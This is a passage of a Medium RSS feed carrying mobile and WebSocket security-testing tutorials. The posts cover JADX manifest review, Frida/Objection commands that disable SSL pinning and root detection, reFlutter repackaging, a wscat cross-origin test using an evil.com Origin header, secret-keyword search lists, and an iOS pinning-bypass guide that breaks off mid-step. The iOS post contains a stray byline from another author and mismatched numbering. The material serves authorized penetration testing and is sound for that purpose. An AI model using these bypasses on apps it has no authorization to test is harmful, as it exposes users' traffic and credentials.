href="https://owasp.org/www-community/Threat_Modeling">https://owasp.org/www-community/Threat_Modeling</a></li><li>OWASP Threat Dragon: <a href="https://owasp.org/www-project-threat-dragon/">https://owasp.org/www-project-threat-dragon/</a></li><li>Microsoft Threat Modeling Tool: <a href="https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool">https://learn.microsoft.com/en-us/azure/security/develop/threat-modeling-tool</a></li><li>AWS Threat Composer: <a href="https://github.com/awslabs/threat-composer">https://github.com/awslabs/threat-composer</a></li><li>diagrams.net: <a href="https://www.diagrams.net/">https://www.diagrams.net/</a></li></ul><p><em>Enjoyed this article? Share it with fellow cybersecurity enthusiasts and follow ImGanesh Avhad for more insights into threat modeling, application security, and secure software development.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e74e445d255" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Application Security Testing Using JADX: A Complete Guide to Manifest, SSL Pinning & Root…]]></title>
            <link>https://medium.com/@avhad092/android-application-security-testing-using-jadx-a-complete-guide-to-manifest-ssl-pinning-root-b78fc60cf39f?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b78fc60cf39f</guid>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 05:31:12 GMT</pubDate>
            <atom:updated>2026-10-11T05:36:53.024Z</atom:updated>
            <content:encoded><![CDATA[<h3>Android Application Security Testing Using JADX: A Complete Guide to Manifest, SSL Pinning &amp; Root Detection Bypass</h3><p><strong>A practical guide to identifying common Android application security vulnerabilities through static and dynamic analysis.</strong></p><h3>Introduction</h3><p>Android application security testing is an essential part of mobile application penetration testing. Applications may contain security weaknesses related to manifest configurations, insecure WebView settings, hardcoded API keys, weak cryptographic algorithms, improper SSL certificate validation, and root detection mechanisms.</p><p>In this blog, we will explore how to use <strong>JADX</strong> to analyze an Android APK, identify common security issues, and assess SSL pinning and root detection bypass resistance.</p><h3>1. AndroidManifest.xml Analysis</h3><p>The AndroidManifest.xml file contains important application configuration details, including permissions, activities, services, broadcast receivers, SDK versions, and security-related attributes.</p><p>Open the APK in JADX GUI and select AndroidManifest.xml from the application tree.</p><h3>Security checks</h3><p>ConfigurationSecurity concernandroid:debuggable=&quot;true&quot;Debugging enabled in productionandroid:allowBackup=&quot;true&quot;Potential exposure of sensitive application dataandroid:usesCleartextTraffic=&quot;true&quot;Unencrypted HTTP communication may be permittedandroid:exported=&quot;true&quot;Component may be accessible to other applicationsminSdkVersion &lt; 29Older Android versions may lack newer platform protectionsREAD_EXTERNAL_STORAGEPotentially excessive access to external storageWRITE_EXTERNAL_STORAGELegacy storage access requiring justification</p><p><strong>Note:</strong> These indicators require contextual analysis. An exported component or enabled backup setting is not automatically a vulnerability.</p><h3>2. WebView JavaScript Enabled</h3><p>Search the decompiled source code for:</p><pre>webView.getSettings().setJavaScriptEnabled(true);</pre><p>Enabling JavaScript is not inherently unsafe. However, it can increase the attack surface when a WebView loads untrusted content or exposes sensitive JavaScript interfaces.</p><p><strong>Recommendation:</strong></p><ul><li>Disable JavaScript when it is not required.</li><li>Restrict WebViews to trusted content.</li><li>Review JavaScript interfaces and URL handling.</li><li>Avoid loading arbitrary URLs in privileged WebViews.</li></ul><h3>3. Debuggable Application</h3><p>Search for the following manifest attribute:</p><pre>android:debuggable=&quot;true&quot;</pre><p>Debugging enabled in a production application can expose internal state and make runtime inspection easier.</p><p><strong>Recommendation:</strong> Set android:debuggable=&quot;false&quot; in production builds and verify the final APK configuration.</p><h3>4. Cleartext Traffic</h3><p>Look for:</p><pre>android:usesCleartextTraffic=&quot;true&quot;</pre><p>Allowing cleartext traffic may permit HTTP communication without transport encryption, depending on the application’s network configuration and platform behavior.</p><p><strong>Recommendation:</strong></p><ul><li>Use HTTPS for sensitive communications.</li><li>Disable cleartext traffic unless a documented exception is necessary.</li><li>Review Android Network Security Configuration.</li><li>Verify that credentials and tokens are never transmitted over unencrypted connections.</li></ul><h3>5. Hardcoded API Keys and Sensitive Information</h3><p>Search the JADX source tree for keywords such as:</p><pre>google_api_key<br>google_api_id<br>api_key<br>client_secret<br>access_token<br>password<br>private_key</pre><p>Hardcoded values can expose credentials or service access if they are genuinely secret and insufficiently restricted.</p><p>Not every API key is confidential. For example, a mobile application may contain a public API key that is protected through service restrictions.</p><p><strong>Recommendation:</strong> Determine the privileges associated with each value, restrict exposed keys, rotate compromised credentials, and move privileged operations to a properly secured backend.</p><h3>6. Insecure Cryptographic Algorithms</h3><p>Search for cryptographic implementations and assess whether they use suitable algorithms and parameters.</p><p>AlgorithmAssessmentAES-GCMGenerally recommended for authenticated encryptionAES-CBCRequires careful padding and independent integrity protectionRSASecurity depends on key size and paddingECCSecurity depends on the curve and implementationSHA-256Suitable for general-purpose cryptographic hashingDESDeprecated and insecureRC4InsecureMD5Unsuitable for collision-resistant security applications</p><p><strong>Recommendation:</strong> Prefer authenticated encryption such as AES-GCM for new designs, use established cryptographic libraries, and ensure keys are generated, stored, and managed securely.</p><h3>7. printStackTrace() Usage</h3><p>Search for:</p><pre>exception.printStackTrace();</pre><p>Exception stack traces can reveal internal class names, file paths, and implementation details. The actual risk depends on where the output goes and whether sensitive information is included.</p><p><strong>Recommendation:</strong> Use controlled logging, redact sensitive values, and prevent verbose diagnostic output from exposing confidential data in production.</p><h3>8. SSL Pinning and SSL Bypass Testing</h3><p>SSL/TLS validation ensures that an application communicates with the intended server and rejects untrusted certificates.</p><p>During an authorized assessment, inspect the following classes and configuration points:</p><ul><li>TrustManager</li><li>X509TrustManager</li><li>HostnameVerifier</li><li>SSLContext</li><li>OkHttp certificate-pinning configuration</li><li>Android Network Security Configuration</li><li>Referances : <a href="https://github.com/Ganesh-98/Frida-Android-SSL-Pinning-Testing">Ganesh-98/Frida-Android-SSL-Pinning-Testing: Android SSL pinning testing toolkit using Frida for authorized mobile application security testing, HTTPS traffic inspection, and penetration testing. Includes scripts and guidance for Android app security research.</a></li></ul><h3>Testing approach</h3><ol><li>Configure a controlled test environment and intercepting proxy.</li><li>Observe application behavior with a trusted certificate.</li><li>Repeat with an untrusted certificate or hostname mismatch.</li><li>Review whether the application correctly rejects invalid TLS connections.</li><li>Document the observed result and the relevant source-code evidence.</li></ol><p>If an application accepts invalid certificates or incorrect hostnames, investigate whether custom trust logic or an insecure configuration is responsible.</p><p><strong>Recommendation:</strong> Maintain proper certificate-chain and hostname validation. Certificate pinning can provide an additional security layer but should not replace standard TLS validation.</p><h3>9. Root Detection and Root Bypass Testing</h3><p>Root detection attempts to identify devices with elevated privileges or modified system environments.</p><ul><li>Referances : <a href="https://github.com/Ganesh-98/Frida-Android-SSL-Pinning-Testing">Ganesh-98/Frida-Android-SSL-Pinning-Testing: Android SSL pinning testing toolkit using Frida for authorized mobile application security testing, HTTPS traffic inspection, and penetration testing. Includes scripts and guidance for Android app security research.</a></li></ul><p>Search for indicators such as:</p><pre>isRooted<br>test-keys<br>/su<br>Magisk<br>Superuser</pre><p>These are investigation keywords, not proof of a vulnerability. Applications may also use third-party root-detection SDKs or native libraries.</p><h3>Testing approach</h3><ol><li>Establish baseline behavior on a normal test device.</li><li>Repeat testing on an authorized rooted device.</li><li>Observe whether the application detects the environment and how it responds.</li><li>Assess whether sensitive operations remain protected if client-side root checks are circumvented.</li><li>Record evidence, limitations, and remediation recommendations.</li></ol><p><strong>Recommendation:</strong> Treat root detection as a defense-in-depth control. Enforce authorization, transaction validation, and other critical security requirements on trusted server-side systems rather than relying exclusively on client-side checks.</p><h3>10. Android Backup Configuration</h3><p>Search for:</p><pre>android:allowBackup=&quot;true&quot;</pre><p>Backup behavior depends on Android version, device implementation, and backup configuration. Sensitive data may be exposed if it is included in an insufficiently protected backup.</p><p><strong>Recommendation:</strong> Review backup rules, exclude sensitive application data where appropriate, and use secure storage for credentials and tokens.</p><h3>11. Minimum SDK Version</h3><p>Inspect the manifest for the application’s minimum supported Android API level.</p><p>A minimum SDK below API 29 does not automatically mean the application is vulnerable. However, supporting older Android versions can introduce additional compatibility and security considerations.</p><p><strong>Recommendation:</strong> Choose a minimum supported version based on user requirements, platform support, threat modeling, and the security controls the application needs.</p><h3>111. Practical Android Dynamic Testing With Frida, Objection, and reFlutter</h3><h3>A. Frida — Installation and device setup</h3><p>Frida enables runtime instrumentation of applications. It is useful for inspecting application behavior and validating security controls in a controlled test environment.</p><p>Step 1: Install Frida Tools on your workstation</p><p>bash</p><pre>python -m pip install -U frida-tools</pre><p>Verify the installation:</p><p>bash</p><pre>frida --version<br>frida-ps --help</pre><p>Step 2: Connect to your Android test device</p><p>Enable USB debugging and connect the device:</p><p>bash</p><pre>adb devices<br>frida-ls-devices</pre><p>List installed applications and their package names:</p><p>bash</p><pre>frida-ps -Uai</pre><p>Example package name:</p><p>text</p><pre>com.example.testapp</pre><p>Replace this example with the package name of your authorized test application.</p><p>Step 3: Start Frida Server (rooted lab device)</p><p>Download the frida-server release matching the installed Frida version and your device architecture from the <a href="https://github.com/frida/frida/releases">official Frida releases </a>. For example, check the device architecture:</p><p>bash</p><pre>adb shell getprop ro.product.cpu.abilist</pre><p>After extracting the correct binary on your workstation, transfer and start it:</p><p>bash</p><pre>adb push frida-server /data/local/tmp/frida-server<br>adb shell &quot;su -c &#39;chmod 755 /data/local/tmp/frida-server&#39;&quot;<br>adb shell &quot;su -c &#39;/data/local/tmp/frida-server &amp;&#39;&quot;</pre><p>Confirm connectivity:</p><p>bash</p><pre>frida-ps -U</pre><p>These commands assume a rooted test device with working su access. Frida&#39;s official <a href="https://frida.re/docs/android/">Android setup guide</a> documents the setup and troubleshooting process.</p><h3>Useful Frida commands</h3><p>bash</p><pre># List running processes on the USB-connected device<br>frida-ps -U</pre><pre># List installed applications<br>frida-ps -Uai</pre><pre># Display CLI options<br>frida --help</pre><pre># Trace calls to a selected native function<br>frida-trace -U -i open -N com.example.testapp</pre><p>The tracing example monitors calls to open(); it is a general runtime-inspection example, not an SSL-pinning bypass.</p><h3>B. Objection — Android runtime assessment</h3><p>Objection is a Frida-powered mobile application assessment toolkit. It supports runtime exploration, storage inspection, and security-control testing.</p><p>Step 1: Install Objection</p><p>bash</p><pre>python -m pip install -U objection<br>objection --help</pre><p>Step 2: Connect to the test application</p><p>For a rooted device running Frida Server, identify the running application:</p><p>bash</p><pre>frida-ps -Uai</pre><p>Then start an Objection session using the process name shown by Frida:</p><p>bash</p><pre>objection -n &quot;com.example.testapp&quot; start</pre><p>Command-line options can differ between Objection versions. Consult objection --help if the installed release expects a different invocation.</p><p>Step 3: Explore the application</p><p>Inside the Objection console, you can run commands such as:</p><p>text</p><pre>help<br>env<br>android hooking list activities<br>android keystore list</pre><p>These help you explore the runtime environment, discover application activities, and inspect keystore metadata.</p><h3>C. Objection — SSL pinning and root detection tests</h3><p>For an application you own or have permission to assess, Objection includes commands for testing common SSL-pinning and root-detection controls. OWASP documents these commands in its <a href="https://mas.owasp.org/MASTG/tools/android/MASTG-TOOL-0029/">Objection Android testing </a>guide.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/31/0*klM4hiibIX7_ccI0" /></figure><p>OWASP Mobile Application Security</p><p>+1</p><p>Once connected to the test application, use the Objection console:</p><p>text</p><pre># Test common SSL pinning implementations<br>android sslpinning disable</pre><pre># Test common root detection mechanisms<br>android root disable</pre><p>These commands attempt to alter common client-side checks during the current instrumented session. They do not guarantee success against custom implementations, native code, or every library version.</p><p>Validate the results:</p><ul><li>For SSL pinning, verify whether the application accepts an untrusted certificate and whether the proxy can inspect the intended test traffic.</li><li>For root detection, compare the application’s behavior before and after the test on a rooted lab device.</li><li>Record which controls were affected and whether sensitive functionality remains protected.</li></ul><p>For version-specific syntax and troubleshooting, consult the <a href="https://github.com/sensepost/objection">official Objection repository </a>.</p><h3>D. reFlutter — Flutter application traffic analysis</h3><p>reFlutter is a reverse-engineering framework designed for Flutter applications. Its documented capabilities include modifying Flutter engine behavior for authorized traffic interception and dumping Dart function information.</p><h3>Step 1: Install reFlutter</h3><p>bash</p><pre>python3 -m pip install reflutter<br>reflutter --help</pre><h3>Step 2: Process a test APK</h3><p>bash</p><pre>reflutter app.apk</pre><p>Follow the tool’s prompts. The documented workflow asks for a proxy IP and produces a modified APK, typically named release.RE.apk.</p><h3>Step 3: Sign the resulting APK</h3><p>Using a compatible APK signing tool:</p><p>bash</p><pre>java -jar uber-apk-signer.jar --allowResign -a release.RE.apk</pre><p>Use a lab copy of the application. Repackaging and re-signing changes the APK’s signature, which can affect signature checks, updates, and backend authentication.</p><h3>Step 4: Configure traffic interception</h3><p>Configure Burp Suite with a listener reachable from the Android test device. The reFlutter documentation describes port 8083 and invisible proxying for its documented interception workflow.</p><p>For a dedicated test device, the proxy can be configured with:</p><p>bash</p><pre>adb shell settings put global http_proxy &lt;proxy_ip&gt;:8083</pre><p>Replace &lt;proxy_ip&gt; with the reachable address of your proxy. Confirm the device&#39;s proxy settings and routing before testing.</p><h3>Step 5: Analyze the traffic</h3><p>Launch the repackaged application and observe requests in Burp Suite. Verify which endpoints are intercepted, whether requests and responses are readable, and whether the application behaves differently from the original APK.</p><p>Limitations: reFlutter supports specific Flutter engine builds and architectures. Results vary by Flutter version, engine symbols, application integrity checks, and implementation details. Follow the <a href="https://github.com/Impact-I/reFlutter">official reFlutter README </a>for current requirements and troubleshooting</p><p>Note</p><p>Use these workflows only for applications you own or are explicitly authorized to test. A successful bypass is evidence about a particular control in a particular test environment — not, by itself, proof that the entire application is vulnerable.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b78fc60cf39f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WebSocket Security in AI/LLM Applications: 3 Critical Issues]]></title>
            <link>https://medium.com/@avhad092/websocket-security-in-ai-llm-applications-3-critical-issues-8bfd8c1d1c36?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/8bfd8c1d1c36</guid>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 10:59:41 GMT</pubDate>
            <atom:updated>2026-09-29T10:59:41.155Z</atom:updated>
            <content:encoded><![CDATA[<p>WebSocket&#39;s are widely used in modern <strong>AI/LLM applications</strong> for real-time chat, token streaming, agent updates, and tool execution.</p><p>But WebSocket&#39;s are only a communication channel. <strong>Authentication, authorization, Origin validation, and rate limiting must be implemented by the application.</strong></p><h3>Step 1: Identify the WebSocket Connection</h3><p>Open the application in a browser tab and open <strong>Developer Tools → Network</strong>. Select the <strong>WS (WebSocket)</strong> filter, then refresh the page to identify the active WebSocket connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X18Xwj3v25rHWkD_fenChA.png" /></figure><h3>Step 2: Inspect the WebSocket Connection in Burp Suite</h3><p>Open <strong>Burp Suite → Proxy → WebSockets history</strong> and locate the WebSocket connection generated by the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-BEw27cuGkULHKl2sjjC_w.png" /></figure><h3>Step 3: Send the WebSocket Request to Repeater</h3><p>In <strong>Burp Suite → Proxy → WebSockets history</strong>, locate the captured WebSocket message, right-click it, and select <strong>Send to Repeater</strong>. Then, in <strong>Repeater</strong>, click <strong>Connect/Reconnect</strong> and <strong>Send</strong> the WebSocket message to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dl4NaxnbsWHZ9DdRsa56_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fVQCH9-OkrChMcN_D8WWew.png" /></figure><h3>Step 4: Set Up the WebSocket Testing Environment</h3><p>For additional WebSocket testing, you can set up a local <strong>Node.js</strong> environment.</p><p>Install <strong>Node.js</strong> and verify the installation:</p><pre>node -v<br>npm -v</pre><p>Create a testing directory:</p><pre>mkdir websocket-testing<br>cd websocket-testing<br>npm init -y</pre><p>Install a WebSocket client library:</p><pre>npm install ws</pre><p>You can then use Node.js to create a simple WebSocket client for authorized testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xzRV7J5WhtVaUZWcV4tOyQ.png" /></figure><h3>Step 5: Test Common WebSocket Security Issues</h3><p>After identifying the WebSocket endpoint and setting up your testing environment, test the following three security issues in an authorized environment:</p><h4>1. Cross-Site WebSocket Hijacking (CSWSH)</h4><p><strong>Description:</strong> Check whether the server properly validates the Origin header and prevents unauthorized cross-origin WebSocket connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wazp441dChpTPjWkzuzs4w.png" /></figure><h4>2. Unauthenticated / Unauthorized Access</h4><p><strong>Description:</strong> Verify that authentication and authorization are enforced before allowing access to private data, conversations, tools, or AI agent functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T6wgONI3_pBltJqqqmonhw.png" /></figure><h4>3. Missing WebSocket Rate Limiting</h4><p><strong>Description:</strong> Check whether the server limits excessive connections, messages, and resource-intensive AI/LLM operations to prevent abuse and resource exhaustion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sr2fD3r1wyWRvja6sUeYlg.png" /></figure><p>Here are three important security checks.</p><h3>1. Cross-Site WebSocket Hijacking (CSWSH)</h3><p>If an application uses cookies for authentication but doesn’t properly validate the Origin, an attacker-controlled website may potentially interact with a victim&#39;s authenticated WebSocket.</p><p>Test:</p><pre>wscat -c &quot;wss://example.com/socket.io/?EIO=4&amp;transport=websocket&quot; \<br>  -H &quot;Origin: https://evil.com&quot;</pre><p>An accepted connection <strong>doesn’t automatically mean CSWSH is exploitable</strong>. Verify whether the connection can use the victim’s authentication context to access or modify sensitive data.</p><p><strong>Defense:</strong> Strict Origin allowlisting, secure authentication, appropriate SameSite cookies, and per-message authorization.</p><h3>2. Unauthenticated / Unauthorized Access</h3><p>First check whether the endpoint accepts an unauthenticated connection:</p><pre>wscat -c &quot;wss://example.com/socket.io/?EIO=4&amp;transport=websocket&quot;</pre><p>Then test authorization.</p><p>For example, if the WebSocket supports:</p><pre>conversation.read<br>agent.run<br>tool.execute<br>verify that a user cannot access another user’s conversation or execute functionality they aren’t authorized to use.</pre><p><strong>Key point:</strong></p><blockquote><em>Authentication answers </em><strong><em>“Who are you?”</em></strong><em><br> Authorization answers </em><strong><em>“What are you allowed to do?”</em></strong></blockquote><h3>3. Missing WebSocket Rate Limiting</h3><p>WebSockets are long-lived, so attackers may send large numbers of messages through a single connection.</p><p>Check limits on:</p><pre>Connections / IP<br>Connections / user<br>Messages / second<br>Concurrent sockets<br>Message size<br>LLM requests<br>Token consumption<br>Tool/agent execution</pre><p>For AI applications, <strong>token/resource limits</strong> are especially important because one request can consume significantly more resources than another.</p><p>Test only within an authorized environment to avoid causing service disruption.</p><h3>Quick WebSocket Security Checklist</h3><pre>✓ Origin validation<br>✓ Authentication<br>✓ Per-message authorization<br>✓ Conversation/tenant isolation<br>✓ Message validation<br>✓ Payload-size limits<br>✓ Connection limits<br>✓ Rate limiting<br>✓ LLM/token limits<br>✓ Session expiration<br>✓ Idle connection timeout</pre><h3>Final takeaway</h3><p>For AI/LLM WebSockets, don’t ask only:</p><blockquote><strong><em>“Can I connect?”</em></strong></blockquote><p>Ask:</p><blockquote><strong><em>“Can I connect, access something I shouldn’t, perform unauthorized actions, or consume unlimited resources?”</em></strong></blockquote><ul><li><strong>CSWSH:</strong> Verify strict Origin validation and prevent unauthorized cross-origin WebSocket connections.</li><li><strong>Authentication &amp; Authorization:</strong> Ensure only authenticated and authorized users can access private data, AI agents, and tools.</li><li><strong>Rate Limiting:</strong> Implement limits on connections, messages, and resource-intensive LLM/agent operations.</li></ul><p>Those three areas — <strong>CSWSH, authorization, and rate/resource limiting</strong> — are an excellent starting point for a WebSocket security assessment.</p><p>Follow for more WebSocket security testing, AI/LLM security, and practical cybersecurity content. 🔐</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8bfd8c1d1c36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[iOS Pen testing : Intercepting HTTPS & Bypassing Certificate Pinning in Flutter Apps]]></title>
            <link>https://medium.com/@avhad092/ios-pen-testing-intercepting-https-bypassing-certificate-pinning-in-flutter-apps-caa9e705b013?source=rss-811d51aa97a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/caa9e705b013</guid>
            <category><![CDATA[ios-pentesting]]></category>
            <dc:creator><![CDATA[Ganesh avhad]]></dc:creator>
            <pubDate>Thu, 20 Aug 2026 11:16:46 GMT</pubDate>
            <atom:updated>2026-08-20T11:16:46.084Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>Now we move to the </em><strong><em>highest-impact area</em></strong><em> in mobile pentesting: </em><strong><em>network security</em></strong><em>. Most critical vulnerabilities live here — leaked tokens, plaintext credentials, weak TLS, missing pinning, or insecure API calls. We follow </em><strong><em>OWASP MASVS v2</em></strong><em> and </em><strong><em>MASTG</em></strong><em> network controls</em></blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*DamxLImZZbn813HU.png" /></figure><h3>Table of Contents for Part 3</h3><p><strong>1 Introduction &amp; Recap</strong></p><p><strong>2 Connecting Burp Suite &amp; Intercepting Traffic on iOS Device</strong></p><p>2.1 Adding &amp; Trusting the Burp CA Certificate on iOS</p><p>2.2 Why iOS Protects HTTPS from Interception (ATS, QUIC, DoH, Private Relay)</p><p>2.3 Solving “iOS Ignores Wi-Fi Proxy” Using Potatso VPN / SSL Kill Switch</p><p><strong>3 Testing iOS Network Communication (OWASP MASVS &amp; MASTG)</strong></p><p>3.1 Testing Data Encryption on the Network (HTTPS Enforcement)</p><p>3.2 Identifying Insecure TLS Protocols &amp; Weak Ciphers</p><p>3.3 Verifying Server Certificate Pinning</p><p><strong>4 Bypassing Certificate Pinning</strong></p><p>4.1 Method 1: SSL Kill Switch 3 (Tweak-Based Bypass)</p><p>4.2 Method 2: Frida Scripts (Dynamic Runtime Bypass)</p><p>4.3 Method 3: Objection (Frida Wrapper)</p><p>4.4 Method 4: Binary Patching (Advanced — Persistent)</p><p><strong>5 Intercepting &amp; Bypassing Flutter Traffic</strong></p><p>5.1 Identifying Flutter Applications</p><p>5.2 Intercepting Flutter Network Traffic (Potatso VPN)</p><p>5.3 Bypassing Flutter SSL Pinning</p><p>5.3.1 Static Bypass Using reFlutter</p><p>5.3.2 Dynamic Bypass Using Frida</p><h3>2. Connecting Burp Suite &amp; Intercepting Traffic on iOS Device</h3><h3>2.1 Step-by-step to add &amp; trust Burp certificate:</h3><p>Follow the official PortSwigger guide to configure Burp for iOS: <a href="https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device">https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device</a></p><p>After trusting the Burp certificate on iOS, you would expect full HTTPS interception… but it will still not work fully for most apps and Safari.</p><h3>2.2 Why iOS Protects HTTPS from Interception (Even After Trusting the CA):</h3><p>iOS intentionally prevents HTTPS interception — even after you trust a custom CA — by using multiple security layers:</p><ul><li><strong>Strict TLS enforcement (ATS + CFNetwork):</strong> iOS blocks user-installed CAs for most HTTPS traffic unless the CA is Apple-signed, MDM-pushed, or the app explicitly opts out (which Apple apps don’t).</li><li><strong>Modern protocols &amp; encrypted DNS:</strong> Safari prefers <strong>HTTP/3 (QUIC)</strong> and uses <strong>DoH/DoT</strong>, both of which bypass traditional proxy interception.</li><li><strong>Proxy bypass mechanisms:</strong> <strong>iCloud Private Relay</strong> and security-critical Apple endpoints route traffic around manual proxies.</li></ul><p><strong>Result:</strong> Tools like Burp usually only see CONNECT requests (or nothing). Full HTTPS request/response data remains encrypted and inaccessible.</p><h3>2.3 Solution: Use Potatso VPN or SSL kill switch 3 to Fix “iOS Ignores Wi-Fi Manual Proxy”</h3><p>Potatso is exactly the kind of app that fixes this problem — it creates a <strong>system VPN/tunnel</strong> and <strong>forces all device traffic</strong> through the proxy you configure. That’s why you saw HTTPS traffic reach Burp on your other device.it runs as a system VPN, it doesn’t rely on the Wi-Fi “Manual Proxy” setting. it captures and reroutes system traffic, so Burp gets the TLS CONNECTs and can MITM (provided the Burp CA is trusted).</p><p><strong>Configure Potatso proxy:</strong></p><ol><li>Open Potatso → Manual input “add” OR Profiles / Proxies → Add new proxy:</li></ol><ul><li>Type: HTTP (or SOCKS5 if you prefer; Burp supports both — HTTP is easiest)</li><li>Host: &lt;your-laptop-ip&gt; (e.g., 192.168.1.10) &amp; Port: 8080 then Save</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/0*bjQf-Qt54qGn48SI.png" /></figure><ul><li>Toggle the profile ON — iOS will show the VPN icon in the status bar.</li><li>Potatso will request permission to add a VPN profile — allow it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/0*QSkr2dbBaTyudsOu.png" /></figure><blockquote><em>note: make sure invisible proxying enabled and Device connected to same Wi-Fi as laptop</em></blockquote><ul><li>Open the browser, and you will find all traffic intercepted.</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ID5XnlJHjP5N-fDe.png" /></figure><h3>3. Testing iOS Network Communication (OWASP MASVS &amp; MASTG)</h3><p>We group all core tests here with direct references to <strong>OWASP MASVS v2</strong> and <strong>MASTG</strong> — the standards every mobile pentester uses.</p><h3>2.1 Testing Data Encryption on the Network (HTTPS Enforcement)</h3><p><strong>MASVS V2:</strong> MASVS-NETWORK-1 <strong>MASTG:</strong> MSTG-NETWORK-1</p><p><strong>Goal:</strong> Confirm the app enforces HTTPS for all requests — no cleartext HTTP fallback (even if Info.plist appears to block it).</p><p><strong>Steps (now that traffic is visible):</strong></p><ol><li>Open Potatso and Burp listener active.</li><li>Launch the target app (DVIA-v2, iGoat-Swift, or real app).</li><li>Perform actions that trigger network calls: login, fetch user data, submit forms, etc.</li><li>In Burp <strong>HTTP history</strong> or <strong>Proxy &gt; Intercept</strong>:</li></ol><ul><li>Look for any <strong>HTTP</strong> requests (not HTTPS) — these appear in plain text (red flag = vulnerability).</li><li>Check request URLs: all should start with https:// — any http:// means plaintext transmission.</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*p30FHPXUPgtnnrML.png" /></figure><p><strong>5. Cross-check Info.plist </strong>(from decrypted IPA in Part 2):</p><ul><li>Open in Filza or unzip IPA → Search for <strong>NSAllowsArbitraryLoads.</strong></li><li>If YES → App allows HTTP anywhere (insecure).</li><li>Look for <strong>NSExceptionDomains</strong> allowing HTTP exceptions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/0*e6qUkxTBzC7oSXaW.png" /></figure><p>NSAllowsArbitraryLoads</p><h3>2.2 Insecure TLS Protocols in Network Traffic</h3><p><strong>MASTG-TEST-0218:</strong> Insecure TLS Protocols in Network Traffic</p><p><strong>Goal:</strong> Detect use of deprecated TLS versions (1.0 or 1.1) or weak ciphers.</p><blockquote><em>all device traffic can be captured in Wireshark without modifying the iOS system, making it ideal for analyzing app communication and network behavior during iOS security testing.</em></blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*KcW34-Oqd5dFH6QY.png" /></figure><p><strong>Assessment:</strong></p><ul><li><strong>TLS 1.0 / 1.1 or weak ciphers</strong> → ❌ <em>Vulnerability</em> (downgrade attacks, MITM possible)</li><li><strong>TLS 1.2+ with strong ciphers only</strong> → ✅ <em>Secure</em></li></ul><h3>2.3 Verify Server Certificate Pinning</h3><p><strong>MASVS V2:</strong> MASVS-NETWORK-2 <strong>MASTG:</strong> MSTG-NETWORK-4</p><p><strong>Goal:</strong> Confirm the app enforces certificate or public-key pinning.</p><p><strong>Steps:</strong></p><ol><li>Potatso + Burp proxy active (CA trusted).</li><li>Trigger HTTPS request in the app.</li><li><strong>Expected behavior (pinning present):</strong></li></ol><ul><li>App fails to connect → SSL/TLS error or “certificate not trusted” message.</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*VW1Lwv9mx5Ha6FZt.png" /></figure><p><strong>4. Vulnerable behavior (no pinning or weak):</strong></p><ul><li>Traffic flows normally through Burp → You see full request/response bodies.</li><li>This confirms the app accepted Burp’s fake certificate → No pinning.</li></ul><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*y6A1_p4JtsUQbdVw.png" /></figure><h3>4. Bypassing Certificate Pinning</h3><p>Let’s open the <strong>DVIA v2</strong> vulnerable app &gt; Network Layer Security &gt; click <strong>Send using certificate pinning &amp; send using public key pinning.</strong>and attempt to intercept its network traffic.</p><h3>Get Faris Faisal 0xFF’s stories in your inbox</h3><p>The application enforces <strong>network-layer security</strong> using <strong>certificate pinning. </strong>As a result, when we try to proxy the traffic, the application fails to establish a secure connection and throws an SSL/TLS error.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hDQGXLowVUA2FFhD.png" /></figure><p><strong>To successfully intercept the traffic, we must use one of the below bypass methods:</strong></p><h3>Method 1: SSL Kill Switch 3 Tweaks (Fastest &amp; Easiest)</h3><ul><li>add this repo <a href="https://repo.misty.moe/apt">https://repo.misty.moe/apt</a> to Sileo/Zebra → Search “SSL Kill Switch 3” → Install it and click on Restart SpringBoard.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/0*ZEFE3SwzjCbNvQYP.png" /></figure><ul><li>Go to 